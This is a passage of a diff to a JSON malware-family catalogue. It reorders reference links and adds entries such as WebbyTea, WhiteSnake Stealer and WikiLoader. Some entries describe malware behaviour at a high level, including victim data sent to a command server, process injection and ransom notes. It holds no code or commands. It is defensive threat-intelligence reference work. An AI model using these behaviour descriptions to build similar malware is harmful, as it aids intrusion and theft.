"https://ioc.hatenablog.com/entry/2020/08/16/132853", + "http://www.secureworks.com/research/threat-profiles/gold-drake", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf" ], "synonyms": [], "type": [] @@ -50121,13 +52576,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.waterbear", - "https://teamt5.org/tw/posts/mjib-holds-briefing-on-chinese-hackers-attacks-on-taiwanese-government-agencies/", - "https://www.zdnet.com/article/waterbear-malware-used-in-attack-wave-against-government-agencies/", - "https://i.blackhat.com/asia-21/Friday-Handouts/as-21-Tseng-Mem2Img-Memory-Resident-Malware-Detection-via-Convolution-Neural-Network.pdf", - "https://daydaynews.cc/zh-tw/technology/297265.html", "https://www.youtube.com/watch?v=6SDdUVejR2w", + "https://www.mandiant.com/resources/blog/chinese-espionage-tactics", + "https://www.zdnet.com/article/waterbear-malware-used-in-attack-wave-against-government-agencies/", "https://www.trendmicro.com/en_us/research/19/l/waterbear-is-back-uses-api-hooking-to-evade-security-product-detection.html", - "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_2_ycy-aragorn_en.pdf" + "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_2_ycy-aragorn_en.pdf", + "https://i.blackhat.com/asia-21/Friday-Handouts/as-21-Tseng-Mem2Img-Memory-Resident-Malware-Detection-via-Convolution-Neural-Network.pdf", + "https://teamt5.org/tw/posts/mjib-holds-briefing-on-chinese-hackers-attacks-on-taiwanese-government-agencies/", + "https://daydaynews.cc/zh-tw/technology/297265.html" ], "synonyms": [ "DbgPrint", @@ -50164,6 +52620,20 @@ "uuid": "d238262a-4832-408f-9926-a7174e671b50", "value": "WaterSpout" }, + { + "description": "WebbyTea is an HTTP(S) downloader that uses AES for C&C trafic encryption.\r\n\r\nIt sends detailed information about the victim's environment, like proxy settings, system instalation date, Windows product name and version, manufacturer, product name, system boot time, time zone, computer name, user name, current time and a list of currently running processes. Data sent to the C&C server consists of the prefix \"ci\", a 16-characters long hexadecimal string representing the victim ID and an encrypted data about the victim's system. After the payload is acquired from the server and successfully injected in a newly created explorer.exe process, the malware responds back with the same victim ID having the prefix changed to \"cs\".\r\n\r\nThe internal DLL name of the native WebbyTea is usually pe64.dll or webT64.dll (from which its name is derived).\r\n\r\nThe usual payload associated with WebbyTea is SnatchCrypto.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.webbytea", + "https://securelist.com/the-bluenoroff-cryptocurrency-hunt-is-still-on/105488/", + "https://blog.sekoia.io/bluenoroffs-rustbucket-campaign/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "e8056d43-7dd7-49ae-8cd7-07be367fb6b4", + "value": "WebbyTea" + }, { "description": "", "meta": { @@ -50338,11 +52808,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.webmonitor", - "https://revcode.se/product/webmonitor/", + "https://researchcenter.paloaltonetworks.com/2018/04/unit42-say-cheese-webmonitor-rat-comes-c2-service-c2aas/", "https://krebsonsecurity.com/2019/04/whos-behind-the-revcode-webmonitor-rat/", - "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/malicious-actors-target-comm-apps-such-as-zoom-slack-discord", "https://krabsonsecurity.com/2020/09/04/bitrat-pt-2-hidden-browser-socks5-proxy-and-unknownproducts-unmasked/", - "https://researchcenter.paloaltonetworks.com/2018/04/unit42-say-cheese-webmonitor-rat-comes-c2-service-c2aas/" + "https://revcode.se/product/webmonitor/", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/malicious-actors-target-comm-apps-such-as-zoom-slack-discord" ], "synonyms": [ "RevCode" @@ -50370,22 +52840,22 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.wellmess", - "https://www.lac.co.jp/lacwatch/pdf/20180614_cecreport_vol3.pdf", - "https://community.riskiq.com/article/541a465f/description", - "https://securelist.com/apt-trends-report-q2-2020/97937/", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198b", - "https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-old-dogs-new-tricks.pdf", - "https://www.pwc.co.uk/issues/cyber-security-services/insights/cleaning-up-after-wellmess.html", - "https://blog.talosintelligence.com/2020/08/attribution-puzzle.html", - "https://us-cert.cisa.gov/sites/default/files/publications/AA21-116A_Russian_Foreign_Intelligence_Service_Cyber_Operations_508C.pdf", - "https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development.pdf", "https://www.botconf.eu/wp-content/uploads/2018/12/2018-Y-Ishikawa-S-Nagano-Lets-go-with-a-Go-RAT-_final.pdf", + "https://community.riskiq.com/article/541a465f/description", + "https://blog.talosintelligence.com/2020/08/attribution-puzzle.html", + "https://www.lac.co.jp/lacwatch/pdf/20180614_cecreport_vol3.pdf", + "https://us-cert.cisa.gov/sites/default/files/publications/AA21-116A_Russian_Foreign_Intelligence_Service_Cyber_Operations_508C.pdf", + "https://blog.jpcert.or.jp/2018/07/malware-wellmes-9b78.html", + "https://us-cert.cisa.gov/ncas/alerts/aa21-116a", + "https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development.pdf", + "https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf", "https://blogs.jpcert.or.jp/en/2018/07/malware-wellmes-9b78.html", "https://www.ironnet.com/blog/russian-cyber-attack-campaigns-and-actors", - "https://us-cert.cisa.gov/ncas/alerts/aa21-116a", - "https://blog.jpcert.or.jp/2018/07/malware-wellmes-9b78.html", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf" + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-old-dogs-new-tricks.pdf", + "https://www.pwc.co.uk/issues/cyber-security-services/insights/cleaning-up-after-wellmess.html", + "https://securelist.com/apt-trends-report-q2-2020/97937/", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198b" ], "synonyms": [], "type": [] @@ -50424,80 +52894,81 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.whispergate", - "https://blog.gigamon.com/2022/01/28/focusing-on-left-of-boom/", - "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord?", - "https://unit42.paloaltonetworks.com/atoms/ruinousursa/", - "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/return-of-pseudo-ransomware.html", - "https://stairwell.com/news/whispers-in-the-noise-microsoft-ukraine-whispergate/", - "https://www.youtube.com/watch?v=Ek3URIaC5O8", - "https://www.youtube.com/watch?v=mrTdSdMMgnk", - "https://blogs.blackberry.com/en/2022/01/threat-thursday-whispergate-wiper", - "https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview", - "https://lifars.com/2022/01/a-detailed-analysis-of-whispergate-targeting-ukrainian-organizations/", - "https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine", - "https://securelist.com/webinar-on-cyberattacks-in-ukraine-summary-and-qa/106075/", - "https://zetter.substack.com/p/hackers-were-in-ukraine-systems-months", - "https://go.recordedfuture.com/hubfs/reports/pov-2022-0127.pdf", - "https://www.recordedfuture.com/whispergate-malware-corrupts-computers-ukraine/", - "https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine/", - "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE4Vwwd", - "https://medium.com/s2wblog/analysis-of-destructive-malware-whispergate-targeting-ukraine-9d5d158f19f3", - "https://github.com/OALabs/Lab-Notes/blob/main/WhisperGate/WhisperGate.ipynb", - "https://thehackernews.com/2022/02/putin-warns-russian-critical.html", + "https://zetter.substack.com/p/dozens-of-computers-in-ukraine-wiped", "https://www.crowdstrike.com/blog/who-is-ember-bear/", - "https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023", - "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/update-on-whispergate-destructive-malware-targeting-ukraine.html", - "https://blog.talosintelligence.com/2022/01/ukraine-campaign-delivers-defacement.html", - "https://www.cadosecurity.com/resources-for-dfir-professionals-responding-to-whispergate-malware/", - "https://www.crowdstrike.com/blog/technical-analysis-of-whispergate-malware/", - "https://intel471.com/blog/russia-ukraine-conflict-cybercrime-underground", + "https://blogs.blackberry.com/en/2022/01/threat-thursday-whispergate-wiper", "https://cert.gov.ua/article/18101", + "https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine/", + "https://www.recordedfuture.com/whispergate-malware-corrupts-computers-ukraine/", + "https://intel471.com/blog/russia-ukraine-conflict-cybercrime-underground", + "https://github.com/Dump-GUY/Malware-analysis-and-Reverse-engineering/blob/main/Debugging%20MBR%20-%20IDA%20+%20Bochs%20Emulator/Debugging%20MBR%20-%20IDA%20+%20Bochs%20Emulator.md", + "https://inquest.net/blog/2022/02/10/380-glowspark", + "https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview", + "https://www.crowdstrike.com/blog/how-crowdstrike-protects-against-data-wiping-malware/", + "https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat", + "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/", + "https://blog.gigamon.com/2022/01/28/focusing-on-left-of-boom/", + "https://www.cadosecurity.com/resources-for-dfir-professionals-responding-to-whispergate-malware/", + "https://www.microsoft.com/security/blog/2022/01/26/evolved-phishing-device-registration-trick-adds-to-phishers-toolbox-for-victims-without-mfa/", "https://twitter.com/Libranalysis/status/1483128221956808704", - "https://rxored.github.io/post/analysis/whispergate/whispergate/", - "https://maxkersten.nl/binary-analysis-course/malware-analysis/dumping-whispergates-wiper-from-an-eazfuscator-obfuscated-loader/", - "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-057A_Destructive_Malware_Targeting_Organizations_in_Ukraine.pdf", - "https://www.bitdefender.com/blog/hotforsecurity/five-things-you-need-to-know-about-the-cyberwar-in-ukraine/", - "https://unit42.paloaltonetworks.com/ukraine-cyber-conflict-cve-2021-32648-whispergate/", + "https://securelist.com/webinar-on-cyberattacks-in-ukraine-summary-and-qa/106075/", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/return-of-pseudo-ransomware.html", + "https://medium.com/s2wblog/analysis-of-destructive-malware-whispergate-targeting-ukraine-9d5d158f19f3", + "https://www.trendmicro.com/en_us/research/22/c/cyberattacks-are-prominent-in-the-russia-ukraine-conflict.html", + "https://www.splunk.com/en_us/blog/security/threat-advisory-strt-ta02-destructive-software.html?splunk", + "https://eclypsium.com/2022/06/02/conti-targets-critical-firmware/", + "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", + "https://www.youtube.com/watch?v=Ek3URIaC5O8", "https://blogs.microsoft.com/on-the-issues/2022/01/15/mstic-malware-cyberattacks-ukraine-government/", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/update-on-whispergate-destructive-malware-targeting-ukraine.html", + "https://www.netskope.com/blog/netskope-threat-coverage-whispergate", + "https://go.recordedfuture.com/hubfs/reports/pov-2022-0127.pdf", + "https://www.cisa.gov/uscert/ncas/alerts/aa22-057a", + "https://unit42.paloaltonetworks.com/ukraine-cyber-conflict-cve-2021-32648-whispergate/", + "https://twitter.com/nunohaien/status/1484088885575622657", + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-057A_Destructive_Malware_Targeting_Organizations_in_Ukraine.pdf", + "https://www.microsoft.com/en-us/security/business/security-insider/wp-content/uploads/2023/03/A-year-of-Russian-hybrid-warfare-in-Ukraine_MS-Threat-Intelligence-1.pdf", + "https://csirt-mon.wp.mil.pl/pl/articles6-aktualnosci/analysis-cyberattack-ukrainian-government-resources/", + "https://www.bitdefender.com/blog/hotforsecurity/five-things-you-need-to-know-about-the-cyberwar-in-ukraine/", + "https://info.cyborgsecurity.com/hubfs/Emerging%20Threats/WhisperGate%20Malware%20Update%20-%20Emerging%20Threat.pdf", + "https://rxored.github.io/post/analysis/whispergate/whispergate/", + "https://www.crowdstrike.com/blog/technical-analysis-of-whispergate-malware/", + "https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023", + "https://twitter.com/HuskyHacksMK/status/1482876242047258628", + "https://www.elastic.co/fr/security-labs/operation-bleeding-bear", + "https://www.mandiant.com/resources/russia-invasion-ukraine-retaliation", + "https://www.secureworks.com/blog/disruptive-attacks-in-ukraine-likely-linked-to-escalating-tensions", + "https://lifars.com/2022/01/a-detailed-analysis-of-whispergate-targeting-ukrainian-organizations/", + "https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/", + "https://stairwell.com/news/whispers-in-the-noise-microsoft-ukraine-whispergate/", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/growling-bears-make-thunderous-noise.html", + "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-3/", + "https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine", + "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE4Vwwd", + "https://zetter.substack.com/p/hackers-were-in-ukraine-systems-months", + "https://blog.talosintelligence.com/2022/01/ukraine-campaign-delivers-defacement.html", + "https://unit42.paloaltonetworks.com/atoms/ruinousursa/", + "https://github.com/OALabs/Lab-Notes/blob/main/WhisperGate/WhisperGate.ipynb", + "https://services.google.com/fh/files/blogs/google_fog_of_war_research_report.pdf", + "https://www.youtube.com/watch?v=2nd-f1dIfD4", + "https://cyberpeaceinstitute.org/ukraine-timeline-of-cyberattacks", + "https://elastic.github.io/security-research/malware/2022/01/01.operation-bleeding-bear/article/", + "https://thehackernews.com/2022/02/putin-warns-russian-critical.html", + "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord?", "https://lifars.com/2022/03/a-closer-look-at-the-russian-actors-targeting-organizations-in-ukraine/", "https://www.brighttalk.com/webcast/15591/534324", - "https://csirt-mon.wp.mil.pl/pl/articles6-aktualnosci/analysis-cyberattack-ukrainian-government-resources/", - "https://cyberpeaceinstitute.org/ukraine-timeline-of-cyberattacks", - "https://www.microsoft.com/en-us/security/business/security-insider/wp-content/uploads/2023/03/A-year-of-Russian-hybrid-warfare-in-Ukraine_MS-Threat-Intelligence-1.pdf", - "https://www.netskope.com/blog/netskope-threat-coverage-whispergate", - "https://blog.nviso.eu/2022/02/24/threat-update-ukraine-russia-tensions/", - "https://twitter.com/nunohaien/status/1484088885575622657", - "https://www.microsoft.com/security/blog/2022/01/26/evolved-phishing-device-registration-trick-adds-to-phishers-toolbox-for-victims-without-mfa/", - "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/growling-bears-make-thunderous-noise.html", - "https://blogs.blackberry.com/en/2022/02/threat-spotlight-whispergate-wiper-wreaks-havoc-in-ukraine", - "https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/", - "https://info.cyborgsecurity.com/hubfs/Emerging%20Threats/WhisperGate%20Malware%20Update%20-%20Emerging%20Threat.pdf", - "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", - "https://twitter.com/HuskyHacksMK/status/1482876242047258628", - "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-3/", - "https://twitter.com/knight0x07/status/1483401072102502400", - "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/", - "https://www.secureworks.com/blog/whispergate-not-notpetya", - "https://zetter.substack.com/p/dozens-of-computers-in-ukraine-wiped", - "https://services.google.com/fh/files/blogs/google_fog_of_war_research_report.pdf", - "https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat", "https://therecord.media/second-data-wiper-attack-hits-ukraine-computer-networks/", - "https://www.youtube.com/watch?v=2nd-f1dIfD4", - "https://www.crowdstrike.com/blog/how-crowdstrike-protects-against-data-wiping-malware/", "https://www.splunk.com/en_us/blog/security/threat-advisory-strt-ta02-destructive-software.html", - "https://www.trendmicro.com/en_us/research/22/c/cyberattacks-are-prominent-in-the-russia-ukraine-conflict.html", - "https://inquest.net/blog/2022/02/10/380-glowspark", - "https://www.mandiant.com/resources/russia-invasion-ukraine-retaliation", - "https://www.elastic.co/fr/security-labs/operation-bleeding-bear", - "https://www.splunk.com/en_us/blog/security/threat-advisory-strt-ta02-destructive-software.html?splunk", - "https://elastic.github.io/security-research/malware/2022/01/01.operation-bleeding-bear/article/", "https://www.tesorion.nl/en/resources/pdfstore/Report-OSINT-Russia-Ukraine-Conflict-Cyberaspect.pdf", - "https://www.cisa.gov/uscert/ncas/alerts/aa22-057a", - "https://eclypsium.com/2022/06/02/conti-targets-critical-firmware/", - "https://www.crowdstrike.com/blog/lessons-from-past-cyber-operations-against-ukraine/", "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/c/cyberattacks-are-prominent-in-the-russia-ukraine-conflict/IOC%20Resource%20for%20Russia-Ukraine%20Conflict-Related%20Cyberattacks-03032022.pdf", - "https://github.com/Dump-GUY/Malware-analysis-and-Reverse-engineering/blob/main/Debugging%20MBR%20-%20IDA%20+%20Bochs%20Emulator/Debugging%20MBR%20-%20IDA%20+%20Bochs%20Emulator.md", - "https://www.secureworks.com/blog/disruptive-attacks-in-ukraine-likely-linked-to-escalating-tensions" + "https://maxkersten.nl/binary-analysis-course/malware-analysis/dumping-whispergates-wiper-from-an-eazfuscator-obfuscated-loader/", + "https://www.secureworks.com/blog/whispergate-not-notpetya", + "https://www.youtube.com/watch?v=mrTdSdMMgnk", + "https://blogs.blackberry.com/en/2022/02/threat-spotlight-whispergate-wiper-wreaks-havoc-in-ukraine", + "https://blog.nviso.eu/2022/02/24/threat-update-ukraine-russia-tensions/", + "https://www.microsoft.com/en-us/security/blog/2023/06/14/cadet-blizzard-emerges-as-a-novel-and-distinct-russian-threat-actor/", + "https://www.crowdstrike.com/blog/lessons-from-past-cyber-operations-against-ukraine/", + "https://twitter.com/knight0x07/status/1483401072102502400" ], "synonyms": [ "PAYWIPE" @@ -50512,8 +52983,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.whitebird", - "https://st.drweb.com/static/new-www/news/2020/july/Study_of_the_APT_attacks_on_state_institutions_in_Kazakhstan_and_Kyrgyzstan_en.pdf", - "https://st.drweb.com/static/new-www/news/2020/september/tek_rf_article_en.pdf" + "https://st.drweb.com/static/new-www/news/2020/september/tek_rf_article_en.pdf", + "https://st.drweb.com/static/new-www/news/2020/july/Study_of_the_APT_attacks_on_state_institutions_in_Kazakhstan_and_Kyrgyzstan_en.pdf" ], "synonyms": [], "type": [] @@ -50526,8 +52997,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.whiteblackcrypt", - "https://sebdraven.medium.com/whisperkill-vs-whiteblackcrypt-un-petit-soucis-de-fichiers-9c4dcd013316", - "https://www.checkmal.com/video/read/3605/" + "https://www.checkmal.com/video/read/3605/", + "https://sebdraven.medium.com/whisperkill-vs-whiteblackcrypt-un-petit-soucis-de-fichiers-9c4dcd013316" ], "synonyms": [ "WARYLOOK" @@ -50537,6 +53008,35 @@ "uuid": "f587a5a2-907e-456c-91e9-74fd997c03b5", "value": "WhiteBlackCrypt" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.whitesnake", + "https://bazaar.abuse.ch/sample/5066eca9c7309af16c882ffae79ceee93d5c8a8bcfe3726455c9b5589a492553/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "8f5bb3ec-a764-4ef4-a113-532a3d4b82c4", + "value": "WhiteSnake Stealer" + }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.wikiloader", + "https://twitter.com/threatinsight/status/1679864625544978432", + "https://www.proofpoint.com/us/blog/threat-insight/out-sandbox-wikiloader-digs-sophisticated-evasion" + ], + "synonyms": [ + "WailingCrab" + ], + "type": [] + }, + "uuid": "8dd43a3f-320a-4bdd-8379-b592cd6efc1f", + "value": "WikiLoader" + }, { "description": "", "meta": { @@ -50554,13 +53054,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.windealer", - "https://securelist.com/windealer-dealing-on-the-side/105946/", - "https://jsac.jpcert.or.jp/archive/2021/pdf/JSAC2021_301_shui-leon_en.pdf", "https://mssplab.github.io/threat-hunting/2023/05/08/malware-analysis-windealer.html", "https://securelist.com/windealer-dealing-on-the-side/105946", + "https://jsac.jpcert.or.jp/archive/2021/pdf/JSAC2021_301_shui-leon_en.pdf", + "https://blogs.jpcert.or.jp/en/2021/10/windealer.html", "https://blogs.blackberry.com/en/2022/06/threat-thursday-china-based-apt-plays-auto-updater-card-to-deliver-windealer-malware", - "https://jsac.jpcert.or.jp/archive/2022/pdf/JSAC2022_7_leon-niwa-ishimaru_en.pdf", - "https://blogs.jpcert.or.jp/en/2021/10/windealer.html" + "https://securelist.com/windealer-dealing-on-the-side/105946/", + "https://jsac.jpcert.or.jp/archive/2022/pdf/JSAC2022_7_leon-niwa-ishimaru_en.pdf" ], "synonyms": [], "type": [] @@ -50586,9 +53086,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.winmm", - "https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2015/TheNaikonAPT-MsnMM1.pdf", + "https://securelist.com/analysis/publications/69953/the-naikon-apt/", "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf", - 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"https://www.welivesecurity.com/2020/10/02/xdspy-stealing-government-secrets-since-2011/", "https://www.welivesecurity.com/wp-content/uploads/2021/04/ESET_Industry_Report_Government.pdf", + "https://github.com/eset/malware-ioc/tree/master/xdspy/", "https://vblocalhost.com/uploads/VB2020-Faou-Labelle.pdf", - "https://github.com/eset/malware-ioc/tree/master/xdspy/" + "https://www.welivesecurity.com/2020/10/02/xdspy-stealing-government-secrets-since-2011/" ], "synonyms": [], "type": [] @@ -51090,8 +53591,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.xfscashncr", - "https://twitter.com/r3c0nst/status/1166773324548063232", - "https://blog.cyttek.com/2019/08/28/other-day-other-malware-in-the-way-died-exe/" + "https://blog.cyttek.com/2019/08/28/other-day-other-malware-in-the-way-died-exe/", + "https://twitter.com/r3c0nst/status/1166773324548063232" ], "synonyms": [], "type": [] @@ -51128,7 +53629,7 @@ "value": "xmrig" }, { - "description": "", + "description": "According to PCrisk, Xorist is a family of ransomware-type malware. After stealth system infiltration, ransomware from this family encrypts various files stored on the computer. After encrypting the files, this ransomware creates a 'How to Decrypt Files.txt text file on the victim's desktop. The file contains a message stating that the files can only be restored by paying a ransom.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.xorist", @@ -51160,9 +53661,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.xpack", + "https://thehackernews.com/2022/02/chinese-hackers-target-taiwanese.html", "https://www.trendmicro.com/en_us/research/21/l/collecting-in-the-dark-tropic-trooper-targets-transportation-and-government-organizations.html", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/china-apt-antlion-taiwan-financial-attacks", - "https://thehackernews.com/2022/02/chinese-hackers-target-taiwanese.html" + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/china-apt-antlion-taiwan-financial-attacks" ], "synonyms": [ "NERAPACK" @@ -51177,8 +53678,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.xpan", - "https://securelist.com/blog/research/78110/xpan-i-am-your-father/", - "https://securelist.com/blog/research/76153/teamxrat-brazilian-cybercrime-meets-ransomware/" + "https://securelist.com/blog/research/76153/teamxrat-brazilian-cybercrime-meets-ransomware/", + "https://securelist.com/blog/research/78110/xpan-i-am-your-father/" ], "synonyms": [], "type": [] @@ -51204,13 +53705,13 @@ "value": "XPCTRA" }, { - "description": "", + "description": "According to PCrisk, XpertRAT is a Remote Administration Trojan, a malicious program that allows cyber criminals to remotely access and control infected computers. Typically, users download and install this software inadvertently because they are tricked. By having computers infected with malware such as XpertRAT, users can experience serious problems.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.xpertrat", "https://labs.k7computing.com/?p=15672", - "https://www.veronicavaleros.com/blog/2018/3/12/a-study-of-rats-third-timeline-iteration", - "https://blog.talosintelligence.com/2021/04/a-year-of-fajan-evolution-and-bloomberg.html" + "https://blog.talosintelligence.com/2021/04/a-year-of-fajan-evolution-and-bloomberg.html", + "https://www.veronicavaleros.com/blog/2018/3/12/a-study-of-rats-third-timeline-iteration" ], "synonyms": [], "type": [] @@ -51252,9 +53753,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.xsplus", - "https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2015/TheNaikonAPT-MsnMM1.pdf", + "https://securelist.com/analysis/publications/69953/the-naikon-apt/", "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf", - "https://securelist.com/analysis/publications/69953/the-naikon-apt/" + "https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2015/TheNaikonAPT-MsnMM1.pdf" ], "synonyms": [ "nokian" @@ -51269,18 +53770,18 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.xtunnel", - "http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_English.pdf", "https://securelist.com/big-threats-using-code-similarity-part-1/97239/", - "https://netzpolitik.org/2015/digital-attack-on-german-parliament-investigative-report-on-the-hack-of-the-left-party-infrastructure-in-bundestag/", - "https://securelist.com/apt-trends-report-q2-2020/97937/", - "https://www.root9b.com/sites/default/files/whitepapers/R9b_FSOFACY_0.pdf", - "https://symantec-blogs.broadcom.com/blogs/election-security/apt28-espionage-military-government", + "https://www.root9b.com/sites/default/files/whitepapers/root9b_follow_up_report_apt28.pdf", "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf", "https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html", + "https://www.secureworks.com/research/threat-profiles/iron-twilight", + "https://www.root9b.com/sites/default/files/whitepapers/R9b_FSOFACY_0.pdf", + "https://symantec-blogs.broadcom.com/blogs/election-security/apt28-espionage-military-government", "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/", - "https://www.symantec.com/blogs/election-security/apt28-espionage-military-government", - "https://www.root9b.com/sites/default/files/whitepapers/root9b_follow_up_report_apt28.pdf", - "https://www.secureworks.com/research/threat-profiles/iron-twilight" + "http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_English.pdf", + "https://securelist.com/apt-trends-report-q2-2020/97937/", + "https://netzpolitik.org/2015/digital-attack-on-german-parliament-investigative-report-on-the-hack-of-the-left-party-infrastructure-in-bundestag/", + "https://www.symantec.com/blogs/election-security/apt28-espionage-military-government" ], "synonyms": [ "Shunnael", @@ -51306,7 +53807,7 @@ "value": "X-Tunnel (.NET)" }, { - "description": "In March 2019, AT&T Alien Labs identified a new malware family that is actively scanning for exposed web services and default passwords. Based on our findings we are calling it “Xwo” - taken from its primary module name. It is likely related to the previously reported malware families Xbash and MongoLock.", + "description": "In March 2019, AT&T Alien Labs identified a new malware family that is actively scanning for exposed web services and default passwords. Based on our findings we are calling it \u201cXwo\u201d - taken from its primary module name. It is likely related to the previously reported malware families Xbash and MongoLock.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.xwo", @@ -51323,9 +53824,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.xworm", - "https://blog.cyble.com/2022/08/19/evilcoder-project-selling-multiple-dangerous-tools-online/", + "https://gi7w0rm.medium.com/uncovering-ddgroup-a-long-time-threat-actor-d3b3020625a4", + "https://unit42.paloaltonetworks.com/nodestealer-2-targets-facebook-business/", + "https://any.run/cybersecurity-blog/xworm-technical-analysis-of-a-new-malware-version/", + "https://www.securonix.com/blog/securonix-threat-labs-security-meme4chan-advisory/", + "https://x.com/embee_research/status/1694635899903152619", + "https://research.loginsoft.com/threat-research/from-innocence-to-malice-the-onenote-malware-campaign-uncovered/", "https://www.elastic.co/security-labs/attack-chain-leads-to-xworm-and-agenttesla", - "https://research.loginsoft.com/threat-research/from-innocence-to-malice-the-onenote-malware-campaign-uncovered/" + "https://blog.cyble.com/2022/08/19/evilcoder-project-selling-multiple-dangerous-tools-online/" ], "synonyms": [], "type": [] @@ -51338,12 +53844,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.xxmm", - "https://www.macnica.net/file/mpressioncss_2018-1h-report_mnc_rev3_nopw.pdf", "https://jsac.jpcert.or.jp/archive/2019/pdf/JSAC2019_8_nakatsuru_en.pdf", "https://www.macnica.net/mpressioncss/feature_05.html/", "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses", - "https://www.secureworks.com/research/threat-profiles/bronze-butler", + "https://www.macnica.net/file/mpressioncss_2018-1h-report_mnc_rev3_nopw.pdf", "https://www.cybereason.com/blog/labs-shadowwali-new-variant-of-the-xxmm-family-of-backdoors", + "https://www.secureworks.com/research/threat-profiles/bronze-butler", 